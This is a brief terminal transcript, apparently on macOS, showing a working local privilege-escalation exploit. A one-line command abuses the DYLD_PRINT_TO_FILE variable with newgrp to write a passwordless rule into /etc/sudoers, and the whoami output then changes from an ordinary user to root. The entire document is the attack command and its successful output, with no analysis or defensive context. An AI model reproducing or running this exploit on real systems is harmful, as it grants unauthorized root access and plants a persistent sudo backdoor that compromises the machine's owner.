[email protected]:~/Desktop$ whoami
bbk

[email protected]:~/Desktop$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

[email protected]:~/Desktop$ whoami
root